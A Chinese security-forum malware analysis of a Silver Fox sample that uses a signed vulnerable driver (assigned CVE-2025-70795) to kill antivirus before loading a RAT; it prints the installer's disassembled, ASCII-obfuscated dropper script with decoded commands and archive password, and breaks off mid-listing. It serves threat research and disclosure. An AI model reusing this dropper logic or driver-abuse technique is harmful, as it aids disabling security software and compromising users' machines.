查看: 8616|回复: 20
收起左侧

[原创分析] 持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件 (附CVE-2025-70795)

  [复制链接]
wwwab
发表于 2026-2-11 16:03:39 | 显示全部楼层 |阅读模式
本帖最后由 wwwab 于 2026-2-12 17:41 编辑

持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件
(附CVE-2025-70795)


一、背景
在日常样本狩猎中,我们发现捕获的一枚银狐样本尝试加载了先前未曾出现过的可疑驱动STProcessMonitor Driver,最终加载WinOs远控程序操控用户计算机。

该驱动通过了WHQL认证,具有"Safetica Technologies s.r.o."与"Microsoft Windows Hardware Compatibility Publisher"颁发的数字签名,签名时间为‎2025‎年‎5‎月‎9‎日 11:43:46,相当新鲜。



经过分析,该STProcessMonitor Driver在没有经过目标验证的情况下,将结束进程功能的IOCTL暴露给用户模式。该漏洞使攻击者能够终止内核模式中的任意进程,通过BYOVD KillAV。


进一步溯源,我们发现,该批银狐行为者多次组合使用多种脆弱驱动干扰防病毒软件,肆意操纵用户计算机,并最终加载WinOs远控载荷,将用户计算机变为可以被黑客控制的“肉鸡”,先前已多次被国内安全厂商发现并分析,可参考:
2025年7月 金山毒霸安全团队/鹰眼威胁情报中心团队 《"银狐"新进展:多Rootkit配合,内核InfinityHook+穿透读写
2025年11月 微步在线团队 《连用四个驱动!银狐开始硬刚EDR和杀软 | 银狐十月总结
但是本次使用的STProcessMonitor Driver在先前并未使用过,在上述文章中也并未出现,是当前样本新添加的脆弱驱动利用。
同时,鉴于该驱动在互联网、开源仓库、漏洞数据库中均未找到相关记录,且来自VirusTotal Relations的信息表明相关驱动至今仍有被分发的迹象,即相关驱动目前可能仍在被使用、分发,我们将其提交至CVE漏洞数据库并分配编号CVE-2025-70795(撰写本文时为RESERVED状态,待本文发布,并向magicsword-io/LOLDrivers仓库提交后,会在合适的时机Apply for publication)。这也表明该批银狐行为者可能会在真实世界中主动搜寻和挖掘全新的漏洞驱动。

样本执行流程图请参考如下:


本文思维导图请参考如下:



二、样本分析
A.) Setup
SHA-256: 3ba89047b9fb9ae2281e06a7f10a407698174b201f28fc1cadb930207254e485
该程序为使用Inno Setup打包的安装程序,如下图所示:


第一步,提取安装程序内的应用文件和安装程序内嵌文件
(1) 安装程序内的应用文件包含: main.1 main.2 unzip.2 unzip.3
其中,main.1具有7-Zip压缩包文件头,但单文件并不完整;unzip.3具有MZ头和PE头,但单文件并不完整。

将main.1+main.2合并后可以确认为7-Zip加密压缩包;将unzip.3+unzip.2合并后可以确认为7-Zip Standalone Console (Signed by NVIDIA Corporation)。



(2) 我们观察到安装程序内嵌文件CompiledCode.bin,这是一个编译后的IFPS脚本,如下图所示:

第二步,反汇编编译的IFPS脚本——CompiledCode.bin=>CompiledCode.txt,如下图所示:



1) "OBFUSCATEDEXTRACT"函数
我们在该类汇编伪代码中,观察到一个可疑函数"OBFUSCATEDEXTRACT",函数原文如下:
  1. .function(export) void OBFUSCATEDEXTRACT()
  2.         pushtype S32 ; StackCount = 1
  3.         pushtype UnicodeString_2 ; StackCount = 2
  4.         pushtype UnicodeString_2 ; StackCount = 3
  5.         pushtype UnicodeString_2 ; StackCount = 4
  6.         pushtype UnicodeString_2 ; StackCount = 5
  7.         pushtype UnicodeString_2 ; StackCount = 6
  8.         pushtype UnicodeString_2 ; StackCount = 7
  9.         pushtype UnicodeString_2 ; StackCount = 8
  10.         pushtype UnicodeString_2 ; StackCount = 9
  11.         pushtype UnicodeString_2 ; StackCount = 10
  12.         pushtype UnicodeString_2 ; StackCount = 11
  13.         pushtype UnicodeString_2 ; StackCount = 12
  14.         pushtype UnicodeString_2 ; StackCount = 13
  15.         pushtype Type30 ; StackCount = 14
  16.         pushtype Type30 ; StackCount = 15
  17.         pushtype S32 ; StackCount = 16
  18.         assign Var16, S32(7)
  19.         pushvar Var15 ; StackCount = 17
  20.         call SETARRAYLENGTH
  21.         pop ; StackCount = 16
  22.         pop ; StackCount = 15
  23.         assign Var15[0], S32(99)
  24.         assign Var15[1], S32(109)
  25.         assign Var15[2], S32(100)
  26.         assign Var15[3], S32(46)
  27.         assign Var15[4], S32(101)
  28.         assign Var15[5], S32(120)
  29.         assign Var15[6], S32(101)
  30.         assign Var14, Var15
  31.         pop ; StackCount = 14
  32.         pushvar Var2 ; StackCount = 15
  33.         call STRFROMCODE
  34.         pop ; StackCount = 14
  35.         pop ; StackCount = 13
  36.         pushtype Type30 ; StackCount = 14
  37.         pushtype Type30 ; StackCount = 15
  38.         pushtype S32 ; StackCount = 16
  39.         assign Var16, S32(137)
  40.         pushvar Var15 ; StackCount = 17
  41.         call SETARRAYLENGTH
  42.         pop ; StackCount = 16
  43.         pop ; StackCount = 15
  44.         assign Var15[0], S32(47)
  45.         assign Var15[1], S32(99)
  46.         assign Var15[2], S32(32)
  47.         assign Var15[3], S32(99)
  48.         assign Var15[4], S32(111)
  49.         assign Var15[5], S32(112)
  50.         assign Var15[6], S32(121)
  51.         assign Var15[7], S32(32)
  52.         assign Var15[8], S32(47)
  53.         assign Var15[9], S32(98)
  54.         assign Var15[10], S32(32)
  55.         assign Var15[11], S32(47)
  56.         assign Var15[12], S32(121)
  57.         assign Var15[13], S32(32)
  58.         assign Var15[14], S32(34)
  59.         assign Var15[15], S32(67)
  60.         assign Var15[16], S32(58)
  61.         assign Var15[17], S32(92)
  62.         assign Var15[18], S32(85)
  63.         assign Var15[19], S32(115)
  64.         assign Var15[20], S32(101)
  65.         assign Var15[21], S32(114)
  66.         assign Var15[22], S32(115)
  67.         assign Var15[23], S32(92)
  68.         assign Var15[24], S32(80)
  69.         assign Var15[25], S32(117)
  70.         assign Var15[26], S32(98)
  71.         assign Var15[27], S32(108)
  72.         assign Var15[28], S32(105)
  73.         assign Var15[29], S32(99)
  74.         assign Var15[30], S32(92)
  75.         assign Var15[31], S32(68)
  76.         assign Var15[32], S32(111)
  77.         assign Var15[33], S32(99)
  78.         assign Var15[34], S32(117)
  79.         assign Var15[35], S32(109)
  80.         assign Var15[36], S32(101)
  81.         assign Var15[37], S32(110)
  82.         assign Var15[38], S32(116)
  83.         assign Var15[39], S32(115)
  84.         assign Var15[40], S32(92)
  85.         assign Var15[41], S32(109)
  86.         assign Var15[42], S32(97)
  87.         assign Var15[43], S32(105)
  88.         assign Var15[44], S32(110)
  89.         assign Var15[45], S32(46)
  90.         assign Var15[46], S32(49)
  91.         assign Var15[47], S32(34)
  92.         assign Var15[48], S32(32)
  93.         assign Var15[49], S32(43)
  94.         assign Var15[50], S32(32)
  95.         assign Var15[51], S32(34)
  96.         assign Var15[52], S32(67)
  97.         assign Var15[53], S32(58)
  98.         assign Var15[54], S32(92)
  99.         assign Var15[55], S32(85)
  100.         assign Var15[56], S32(115)
  101.         assign Var15[57], S32(101)
  102.         assign Var15[58], S32(114)
  103.         assign Var15[59], S32(115)
  104.         assign Var15[60], S32(92)
  105.         assign Var15[61], S32(80)
  106.         assign Var15[62], S32(117)
  107.         assign Var15[63], S32(98)
  108.         assign Var15[64], S32(108)
  109.         assign Var15[65], S32(105)
  110.         assign Var15[66], S32(99)
  111.         assign Var15[67], S32(92)
  112.         assign Var15[68], S32(68)
  113.         assign Var15[69], S32(111)
  114.         assign Var15[70], S32(99)
  115.         assign Var15[71], S32(117)
  116.         assign Var15[72], S32(109)
  117.         assign Var15[73], S32(101)
  118.         assign Var15[74], S32(110)
  119.         assign Var15[75], S32(116)
  120.         assign Var15[76], S32(115)
  121.         assign Var15[77], S32(92)
  122.         assign Var15[78], S32(109)
  123.         assign Var15[79], S32(97)
  124.         assign Var15[80], S32(105)
  125.         assign Var15[81], S32(110)
  126.         assign Var15[82], S32(46)
  127.         assign Var15[83], S32(50)
  128.         assign Var15[84], S32(34)
  129.         assign Var15[85], S32(32)
  130.         assign Var15[86], S32(34)
  131.         assign Var15[87], S32(67)
  132.         assign Var15[88], S32(58)
  133.         assign Var15[89], S32(92)
  134.         assign Var15[90], S32(85)
  135.         assign Var15[91], S32(115)
  136.         assign Var15[92], S32(101)
  137.         assign Var15[93], S32(114)
  138.         assign Var15[94], S32(115)
  139.         assign Var15[95], S32(92)
  140.         assign Var15[96], S32(80)
  141.         assign Var15[97], S32(117)
  142.         assign Var15[98], S32(98)
  143.         assign Var15[99], S32(108)
  144.         assign Var15[100], S32(105)
  145.         assign Var15[101], S32(99)
  146.         assign Var15[102], S32(92)
  147.         assign Var15[103], S32(68)
  148.         assign Var15[104], S32(111)
  149.         assign Var15[105], S32(99)
  150.         assign Var15[106], S32(117)
  151.         assign Var15[107], S32(109)
  152.         assign Var15[108], S32(101)
  153.         assign Var15[109], S32(110)
  154.         assign Var15[110], S32(116)
  155.         assign Var15[111], S32(115)
  156.         assign Var15[112], S32(92)
  157.         assign Var15[113], S32(109)
  158.         assign Var15[114], S32(97)
  159.         assign Var15[115], S32(105)
  160.         assign Var15[116], S32(110)
  161.         assign Var15[117], S32(90)
  162.         assign Var15[118], S32(84)
  163.         assign Var15[119], S32(116)
  164.         assign Var15[120], S32(82)
  165.         assign Var15[121], S32(106)
  166.         assign Var15[122], S32(84)
  167.         assign Var15[123], S32(102)
  168.         assign Var15[124], S32(121)
  169.         assign Var15[125], S32(104)
  170.         assign Var15[126], S32(78)
  171.         assign Var15[127], S32(73)
  172.         assign Var15[128], S32(68)
  173.         assign Var15[129], S32(67)
  174.         assign Var15[130], S32(65)
  175.         assign Var15[131], S32(70)
  176.         assign Var15[132], S32(46)
  177.         assign Var15[133], S32(120)
  178.         assign Var15[134], S32(109)
  179.         assign Var15[135], S32(108)
  180.         assign Var15[136], S32(34)
  181.         assign Var14, Var15
  182.         pop ; StackCount = 14
  183.         pushvar Var3 ; StackCount = 15
  184.         call STRFROMCODE
  185.         pop ; StackCount = 14
  186.         pop ; StackCount = 13
  187.         pushtype BOOLEAN ; StackCount = 14
  188.         pushtype Pointer ; StackCount = 15
  189.         setptr Var15, Var1
  190.         pushtype U8_4 ; StackCount = 16
  191.         assign Var16, U8_4(1)
  192.         pushtype S32 ; StackCount = 17
  193.         assign Var17, S32(0)
  194.         pushtype UnicodeString_2 ; StackCount = 18
  195.         assign Var18, String_3("")
  196.         pushtype UnicodeString_2 ; StackCount = 19
  197.         assign Var19, Var3
  198.         pushtype UnicodeString_2 ; StackCount = 20
  199.         assign Var20, Var2
  200.         pushvar Var14 ; StackCount = 21
  201.         call EXEC
  202.         pop ; StackCount = 20
  203.         pop ; StackCount = 19
  204.         pop ; StackCount = 18
  205.         pop ; StackCount = 17
  206.         pop ; StackCount = 16
  207.         pop ; StackCount = 15
  208.         pop ; StackCount = 14
  209.         sfz Var14
  210.         pop ; StackCount = 13
  211.         jf loc_196d
  212.         pushtype Type30 ; StackCount = 14
  213.         pushtype Type30 ; StackCount = 15
  214.         pushtype S32 ; StackCount = 16
  215.         assign Var16, S32(25)
  216.         pushvar Var15 ; StackCount = 17
  217.         call SETARRAYLENGTH
  218.         pop ; StackCount = 16
  219.         pop ; StackCount = 15
  220.         assign Var15[0], S32(67)
  221.         assign Var15[1], S32(58)
  222.         assign Var15[2], S32(92)
  223.         assign Var15[3], S32(85)
  224.         assign Var15[4], S32(115)
  225.         assign Var15[5], S32(101)
  226.         assign Var15[6], S32(114)
  227.         assign Var15[7], S32(115)
  228.         assign Var15[8], S32(92)
  229.         assign Var15[9], S32(80)
  230.         assign Var15[10], S32(117)
  231.         assign Var15[11], S32(98)
  232.         assign Var15[12], S32(108)
  233.         assign Var15[13], S32(105)
  234.         assign Var15[14], S32(99)
  235.         assign Var15[15], S32(92)
  236.         assign Var15[16], S32(68)
  237.         assign Var15[17], S32(111)
  238.         assign Var15[18], S32(99)
  239.         assign Var15[19], S32(117)
  240.         assign Var15[20], S32(109)
  241.         assign Var15[21], S32(101)
  242.         assign Var15[22], S32(110)
  243.         assign Var15[23], S32(116)
  244.         assign Var15[24], S32(115)
  245.         assign Var14, Var15
  246.         pop ; StackCount = 14
  247.         pushvar Var4 ; StackCount = 15
  248.         call STRFROMCODE
  249.         pop ; StackCount = 14
  250.         pop ; StackCount = 13
  251.         pushtype Type30 ; StackCount = 14
  252.         pushtype Type30 ; StackCount = 15
  253.         pushtype S32 ; StackCount = 16
  254.         assign Var16, S32(7)
  255.         pushvar Var15 ; StackCount = 17
  256.         call SETARRAYLENGTH
  257.         pop ; StackCount = 16
  258.         pop ; StackCount = 15
  259.         assign Var15[0], S32(92)
  260.         assign Var15[1], S32(109)
  261.         assign Var15[2], S32(97)
  262.         assign Var15[3], S32(105)
  263.         assign Var15[4], S32(110)
  264.         assign Var15[5], S32(46)
  265.         assign Var15[6], S32(49)
  266.         assign Var14, Var15
  267.         pop ; StackCount = 14
  268.         pushvar Var7 ; StackCount = 15
  269.         call STRFROMCODE
  270.         pop ; StackCount = 14
  271.         pop ; StackCount = 13
  272.         pushtype Type30 ; StackCount = 14
  273.         pushtype Type30 ; StackCount = 15
  274.         pushtype S32 ; StackCount = 16
  275.         assign Var16, S32(7)
  276.         pushvar Var15 ; StackCount = 17
  277.         call SETARRAYLENGTH
  278.         pop ; StackCount = 16
  279.         pop ; StackCount = 15
  280.         assign Var15[0], S32(92)
  281.         assign Var15[1], S32(109)
  282.         assign Var15[2], S32(97)
  283.         assign Var15[3], S32(105)
  284.         assign Var15[4], S32(110)
  285.         assign Var15[5], S32(46)
  286.         assign Var15[6], S32(50)
  287.         assign Var14, Var15
  288.         pop ; StackCount = 14
  289.         pushvar Var8 ; StackCount = 15
  290.         call STRFROMCODE
  291.         pop ; StackCount = 14
  292.         pop ; StackCount = 13
  293.         pushtype BOOLEAN ; StackCount = 14
  294.         pushtype UnicodeString_2 ; StackCount = 15
  295.         pushtype WideString ; StackCount = 16
  296.         assign Var16, Var4
  297.         add Var16, Var7
  298.         assign Var15, Var16
  299.         pop ; StackCount = 15
  300.         pushvar Var14 ; StackCount = 16
  301.         call DELETEFILE
  302.         pop ; StackCount = 15
  303.         pop ; StackCount = 14
  304.         pop ; StackCount = 13
  305.         pushtype BOOLEAN ; StackCount = 14
  306.         pushtype UnicodeString_2 ; StackCount = 15
  307.         pushtype WideString ; StackCount = 16
  308.         assign Var16, Var4
  309.         add Var16, Var8
  310.         assign Var15, Var16
  311.         pop ; StackCount = 15
  312.         pushvar Var14 ; StackCount = 16
  313.         call DELETEFILE
  314.         pop ; StackCount = 15
  315.         pop ; StackCount = 14
  316.         pop ; StackCount = 13
  317.         pushtype Type30 ; StackCount = 14
  318.         pushtype Type30 ; StackCount = 15
  319.         pushtype S32 ; StackCount = 16
  320.         assign Var16, S32(11)
  321.         pushvar Var15 ; StackCount = 17
  322.         call SETARRAYLENGTH
  323.         pop ; StackCount = 16
  324.         pop ; StackCount = 15
  325.         assign Var15[0], S32(92)
  326.         assign Var15[1], S32(102)
  327.         assign Var15[2], S32(117)
  328.         assign Var15[3], S32(110)
  329.         assign Var15[4], S32(122)
  330.         assign Var15[5], S32(105)
  331.         assign Var15[6], S32(112)
  332.         assign Var15[7], S32(46)
  333.         assign Var15[8], S32(101)
  334.         assign Var15[9], S32(120)
  335.         assign Var15[10], S32(101)
  336.         assign Var14, Var15
  337.         pop ; StackCount = 14
  338.         pushvar Var5 ; StackCount = 15
  339.         call STRFROMCODE
  340.         pop ; StackCount = 14
  341.         pop ; StackCount = 13
  342.         pushtype Type30 ; StackCount = 14
  343.         pushtype Type30 ; StackCount = 15
  344.         pushtype S32 ; StackCount = 16
  345.         assign Var16, S32(24)
  346.         pushvar Var15 ; StackCount = 17
  347.         call SETARRAYLENGTH
  348.         pop ; StackCount = 16
  349.         pop ; StackCount = 15
  350.         assign Var15[0], S32(92)
  351.         assign Var15[1], S32(109)
  352.         assign Var15[2], S32(97)
  353.         assign Var15[3], S32(105)
  354.         assign Var15[4], S32(110)
  355.         assign Var15[5], S32(90)
  356.         assign Var15[6], S32(84)
  357.         assign Var15[7], S32(116)
  358.         assign Var15[8], S32(82)
  359.         assign Var15[9], S32(106)
  360.         assign Var15[10], S32(84)
  361.         assign Var15[11], S32(102)
  362.         assign Var15[12], S32(121)
  363.         assign Var15[13], S32(104)
  364.         assign Var15[14], S32(78)
  365.         assign Var15[15], S32(73)
  366.         assign Var15[16], S32(68)
  367.         assign Var15[17], S32(67)
  368.         assign Var15[18], S32(65)
  369.         assign Var15[19], S32(70)
  370.         assign Var15[20], S32(46)
  371.         assign Var15[21], S32(120)
  372.         assign Var15[22], S32(109)
  373.         assign Var15[23], S32(108)
  374.         assign Var14, Var15
  375.         pop ; StackCount = 14
  376.         pushvar Var6 ; StackCount = 15
  377.         call STRFROMCODE
  378.         pop ; StackCount = 14
  379.         pop ; StackCount = 13
  380.         pushtype WideString ; StackCount = 14
  381.         assign Var14, Var4
  382.         add Var14, Var5
  383.         assign Var11, Var14
  384.         pop ; StackCount = 13
  385.         pushtype WideString ; StackCount = 14
  386.         assign Var14, Var4
  387.         add Var14, Var6
  388.         assign Var12, Var14
  389.         pop ; StackCount = 13
  390.         pushtype Type30 ; StackCount = 14
  391.         pushtype Type30 ; StackCount = 15
  392.         pushtype S32 ; StackCount = 16
  393.         assign Var16, S32(10)
  394.         pushvar Var15 ; StackCount = 17
  395.         call SETARRAYLENGTH
  396.         pop ; StackCount = 16
  397.         pop ; StackCount = 15
  398.         assign Var15[0], S32(104)
  399.         assign Var15[1], S32(116)
  400.         assign Var15[2], S32(76)
  401.         assign Var15[3], S32(99)
  402.         assign Var15[4], S32(69)
  403.         assign Var15[5], S32(78)
  404.         assign Var15[6], S32(121)
  405.         assign Var15[7], S32(82)
  406.         assign Var15[8], S32(70)
  407.         assign Var15[9], S32(89)
  408.         assign Var14, Var15
  409.         pop ; StackCount = 14
  410.         pushvar Var9 ; StackCount = 15
  411.         call STRFROMCODE
  412.         pop ; StackCount = 14
  413.         pop ; StackCount = 13
  414.         pushtype Type30 ; StackCount = 14
  415.         pushtype Type30 ; StackCount = 15
  416.         pushtype S32 ; StackCount = 16
  417.         assign Var16, S32(10)
  418.         pushvar Var15 ; StackCount = 17
  419.         call SETARRAYLENGTH
  420.         pop ; StackCount = 16
  421.         pop ; StackCount = 15
  422.         assign Var15[0], S32(119)
  423.         assign Var15[1], S32(88)
  424.         assign Var15[2], S32(115)
  425.         assign Var15[3], S32(72)
  426.         assign Var15[4], S32(70)
  427.         assign Var15[5], S32(110)
  428.         assign Var15[6], S32(85)
  429.         assign Var15[7], S32(110)
  430.         assign Var15[8], S32(113)
  431.         assign Var15[9], S32(75)
  432.         assign Var14, Var15
  433.         pop ; StackCount = 14
  434.         pushvar Var10 ; StackCount = 15
  435.         call STRFROMCODE
  436.         pop ; StackCount = 14
  437.         pop ; StackCount = 13
  438.         pushtype WideString ; StackCount = 14
  439.         pushtype UnicodeString_2 ; StackCount = 15
  440.         pushtype Type30 ; StackCount = 16
  441.         pushtype Type30 ; StackCount = 17
  442.         pushtype S32 ; StackCount = 18
  443.         assign Var18, S32(7)
  444.         pushvar Var17 ; StackCount = 19
  445.         call SETARRAYLENGTH
  446.         pop ; StackCount = 18
  447.         pop ; StackCount = 17
  448.         assign Var17[0], S32(120)
  449.         assign Var17[1], S32(32)
  450.         assign Var17[2], S32(45)
  451.         assign Var17[3], S32(121)
  452.         assign Var17[4], S32(32)
  453.         assign Var17[5], S32(45)
  454.         assign Var17[6], S32(112)
  455.         assign Var16, Var17
  456.         pop ; StackCount = 16
  457.         pushvar Var15 ; StackCount = 17
  458.         call STRFROMCODE
  459.         pop ; StackCount = 16
  460.         pop ; StackCount = 15
  461.         assign Var14, Var15
  462.         pop ; StackCount = 14
  463.         add Var14, Var9
  464.         add Var14, Var10
  465.         pushtype UnicodeString_2 ; StackCount = 15
  466.         pushtype Type30 ; StackCount = 16
  467.         pushtype Type30 ; StackCount = 17
  468.         pushtype S32 ; StackCount = 18
  469.         assign Var18, S32(4)
  470.         pushvar Var17 ; StackCount = 19
  471.         call SETARRAYLENGTH
  472.         pop ; StackCount = 18
  473.         pop ; StackCount = 17
  474.         assign Var17[0], S32(32)
  475.         assign Var17[1], S32(45)
  476.         assign Var17[2], S32(111)
  477.         assign Var17[3], S32(34)
  478.         assign Var16, Var17
  479.         pop ; StackCount = 16
  480.         pushvar Var15 ; StackCount = 17
  481.         call STRFROMCODE
  482.         pop ; StackCount = 16
  483.         pop ; StackCount = 15
  484.         add Var14, Var15
  485.         pop ; StackCount = 14
  486.         add Var14, Var4
  487.         pushtype UnicodeString_2 ; StackCount = 15
  488.         pushtype Type30 ; StackCount = 16
  489.         pushtype Type30 ; StackCount = 17
  490.         pushtype S32 ; StackCount = 18
  491.         assign Var18, S32(3)
  492.         pushvar Var17 ; StackCount = 19
  493.         call SETARRAYLENGTH
  494.         pop ; StackCount = 18
  495.         pop ; StackCount = 17
  496.         assign Var17[0], S32(34)
  497.         assign Var17[1], S32(32)
  498.         assign Var17[2], S32(34)
  499.         assign Var16, Var17
  500.         pop ; StackCount = 16
  501.         pushvar Var15 ; StackCount = 17
  502.         call STRFROMCODE
  503.         pop ; StackCount = 16
  504.         pop ; StackCount = 15
  505.         add Var14, Var15
  506.         pop ; StackCount = 14
  507.         add Var14, Var12
  508.         pushtype UnicodeString_2 ; StackCount = 15
  509.         pushtype Type30 ; StackCount = 16
  510.         pushtype Type30 ; StackCount = 17
  511.         pushtype S32 ; StackCount = 18
  512.         assign Var18, S32(1)
  513.         pushvar Var17 ; StackCount = 19
  514.         call SETARRAYLENGTH
  515.         pop ; StackCount = 18
  516.         pop ; StackCount = 17
  517.         assign Var17[0], S32(34)
  518.         assign Var16, Var17
  519.         pop ; StackCount = 16
  520.         pushvar Var15 ; StackCount = 17
  521.         call STRFROMCODE
  522.         pop ; StackCount = 16
  523.         pop ; StackCount = 15
  524.         add Var14, Var15
  525.         pop ; StackCount = 14
  526.         assign Var13, Var14
  527.         pop ; StackCount = 13
  528.         pushtype BOOLEAN ; StackCount = 14
  529.         pushtype UnicodeString_2 ; StackCount = 15
  530.         assign Var15, Var11
  531.         pushvar Var14 ; StackCount = 16
  532.         call FILEEXISTS
  533.         pop ; StackCount = 15
  534.         pop ; StackCount = 14
  535.         jz loc_18bc, Var14
  536.         pushtype BOOLEAN ; StackCount = 15
  537.         pushtype UnicodeString_2 ; StackCount = 16
  538.         assign Var16, Var12
  539.         pushvar Var15 ; StackCount = 17
  540.         call FILEEXISTS
  541.         pop ; StackCount = 16
  542.         pop ; StackCount = 15
  543.         and Var14, Var15
  544.         pop ; StackCount = 14
  545. loc_18bc:
  546.         sfz Var14
  547.         pop ; StackCount = 13
  548.         jf loc_196d
  549.         pushtype BOOLEAN ; StackCount = 14
  550.         pushtype Pointer ; StackCount = 15
  551.         setptr Var15, Var1
  552.         pushtype U8_4 ; StackCount = 16
  553.         assign Var16, U8_4(1)
  554.         pushtype S32 ; StackCount = 17
  555.         assign Var17, S32(0)
  556.         pushtype UnicodeString_2 ; StackCount = 18
  557.         assign Var18, String_3("")
  558.         pushtype UnicodeString_2 ; StackCount = 19
  559.         assign Var19, Var13
  560.         pushtype UnicodeString_2 ; StackCount = 20
  561.         assign Var20, Var11
  562.         pushvar Var14 ; StackCount = 21
  563.         call EXEC
  564.         pop ; StackCount = 20
  565.         pop ; StackCount = 19
  566.         pop ; StackCount = 18
  567.         pop ; StackCount = 17
  568.         pop ; StackCount = 16
  569.         pop ; StackCount = 15
  570.         pop ; StackCount = 14
  571.         pop ; StackCount = 13
  572.         pushtype BOOLEAN ; StackCount = 14
  573.         pushtype UnicodeString_2 ; StackCount = 15
  574.         assign Var15, Var12
  575.         pushvar Var14 ; StackCount = 16
  576.         call DELETEFILE
  577.         pop ; StackCount = 15
  578.         pop ; StackCount = 14
  579.         pop ; StackCount = 13
  580. loc_196d:
  581.         ret
复制代码

其中,我们观察到大量ASCII码,例如在开头的[99, 109, 100, 46, 101, 120, 101]即对应"cmd.exe":
  1.         assign Var15[0], S32(99)  ; 'c'
  2.         assign Var15[1], S32(109)  ; 'm'
  3.         assign Var15[2], S32(100)  ; 'd'
  4.         assign Var15[3], S32(46)  ; '.'
  5.         assign Var15[4], S32(101)  ; 'e'
  6.         assign Var15[5], S32(120)  ; 'x'
  7.         assign Var15[6], S32(101)  ; 'e'
复制代码

在该函数中包含多个ASCII码数组,用于构建字符串并执行命令。字符串通过数组编码(如[67, 58, 92, ...]对应ASCII码,解码后为C:\...),增加反分析难度。

以下是所有数组的ASCII码还原结果及其对应的字符串:

1. 第一个数组(7字节)
ASCII码:99, 109, 100, 46, 101, 120, 101
字符串:"cmd.exe"

2. 第二个数组(137字节)
ASCII码:47, 99, 32, 99, 111, 112, 121, 32, 47, 98, 32, 47, 121, 32, 34, 67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 109, 97, 105, 110, 46, 49, 34, 32, 43, 32, 34, 67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 109, 97, 105, 110, 46, 50, 34, 32, 34, 67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 109, 97, 105, 110, 90, 84, 116, 82, 106, 84, 102, 121, 104, 78, 73, 68, 67, 65, 70, 46, 120, 109, 108, 34
字符串:"/c copy /b /y \"C:\Users\Public\Documents\main.1\" + \"C:\Users\Public\Documents\main.2\" \"C:\Users\Public\Documents\mainZTtRjTfyhNIDCAF.xml\""

3. 第三个数组(25字节)
ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115
字符串:"C:\Users\Public\Documents"

4. 第四个数组(7字节)
ASCII码:92, 109, 97, 105, 110, 46, 49
字符串:"\main.1"

5. 第五个数组(7字节)
ASCII码:92, 109, 97, 105, 110, 46, 50
字符串:"\main.2"

6. 第六个数组(11字节)
ASCII码:92, 102, 117, 110, 122, 105, 112, 46, 101, 120, 101
字符串:"\funzip.exe"

7. 第七个数组(24字节)
ASCII码:92, 109, 97, 105, 110, 90, 84, 116, 82, 106, 84, 102, 121, 104, 78, 73, 68, 67, 65, 70, 46, 120, 109, 108
字符串:"\mainZTtRjTfyhNIDCAF.xml"

8. 第八个数组(10字节)
ASCII码:104, 116, 76, 99, 69, 78, 121, 82, 70, 89
字符串:"htLcENyRFY"

9. 第九个数组(10字节)
ASCII码:119, 88, 115, 72, 70, 110, 85, 110, 113, 75
字符串:"wXsHFnUnqK"

10. 第十个数组(7字节)
ASCII码:120, 32, 45, 121, 32, 45, 112
字符串:"x -y -p"

11. 第十一个数组(4字节)
ASCII码:32, 45, 111, 34
字符串:" -o\""

12. 第十二个数组(3字节)
ASCII码:34, 32, 34
字符串:"\" \""

13. 第十三个数组(1字节)
ASCII码:34
字符串:"\""

该函数依次执行以下功能:
1. 执行cmd.exe /c copy /b /y,将C:\Users\Public\Documents\main.1和main.2合并为mainZTtRjTfyhNIDCAF.xml
2. 删除main.1和main.2文件
3. 检查funzip.exe和mainZTtRjTfyhNIDCAF.xml文件是否存在,如果存在则执行: funzip.exe x -y -p htLcENyRFYwXsHFnUnqK -o"C:\Users\Public\Documents" "C:\Users\Public\Documents\mainZTtRjTfyhNIDCAF.xml",解压mainZTtRjTfyhNIDCAF.xml文件
4. 删除mainZTtRjTfyhNIDCAF.xml文件

于是我们得到mainZTtRjTfyhNIDCAF.xml文件解压密码为"htLcENyRFYwXsHFnUnqK",解压后可得到: men.exe man100.dat Server.log.
即释放men.exe man100.dat Server.log.

其中,man100.dat是一个Zip压缩包,解压后可得到: temp_adjust.dat temp_filler.dat

2) "YQMBPLIVKAXLBBKHOYPB"函数
我们在该类汇编伪代码中,观察到一个可疑函数"YQMBPLIVKAXLBBKHOYPB",函数原文如下:
  1. .function(export) void YQMBPLIVKAXLBBKHOYPB()
  2.         pushtype BOOLEAN ; StackCount = 1
  3.         pushtype UnicodeString_2 ; StackCount = 2
  4.         pushtype UnicodeString_2 ; StackCount = 3
  5.         pushtype UnicodeString_2 ; StackCount = 4
  6.         pushtype UnicodeString_2 ; StackCount = 5
  7.         pushtype UnicodeString_2 ; StackCount = 6
  8.         pushtype S32 ; StackCount = 7
  9.         pushtype BOOLEAN ; StackCount = 8
  10.         pushvar Var8 ; StackCount = 9
  11.         call INITIALIZESETUP
  12.         pop ; StackCount = 8
  13.         pop ; StackCount = 7
  14.         pushvar Var1 ; StackCount = 8
  15.         call IS360PROCESSRUNNING
  16.         pop ; StackCount = 7
  17.         pushtype BOOLEAN ; StackCount = 8
  18.         assign Var8, Var1
  19.         setz Var8
  20.         sfz Var8
  21.         pop ; StackCount = 7
  22.         jf loc_263f
  23.         pushtype BOOLEAN ; StackCount = 8
  24.         pushtype Pointer ; StackCount = 9
  25.         setptr Var9, Var7
  26.         pushtype U8_4 ; StackCount = 10
  27.         assign Var10, U8_4(1)
  28.         pushtype S32 ; StackCount = 11
  29.         assign Var11, S32(0)
  30.         pushtype UnicodeString_2 ; StackCount = 12
  31.         assign Var12, String_3("")
  32.         pushtype UnicodeString_2 ; StackCount = 13
  33.         pushtype WideString ; StackCount = 14
  34.         pushtype UnicodeString_2 ; StackCount = 15
  35.         pushtype Type30 ; StackCount = 16
  36.         pushtype Type30 ; StackCount = 17
  37.         pushtype S32 ; StackCount = 18
  38.         assign Var18, S32(12)
  39.         pushvar Var17 ; StackCount = 19
  40.         call SETARRAYLENGTH
  41.         pop ; StackCount = 18
  42.         pop ; StackCount = 17
  43.         assign Var17[0], S32(47)
  44.         assign Var17[1], S32(99)
  45.         assign Var17[2], S32(32)
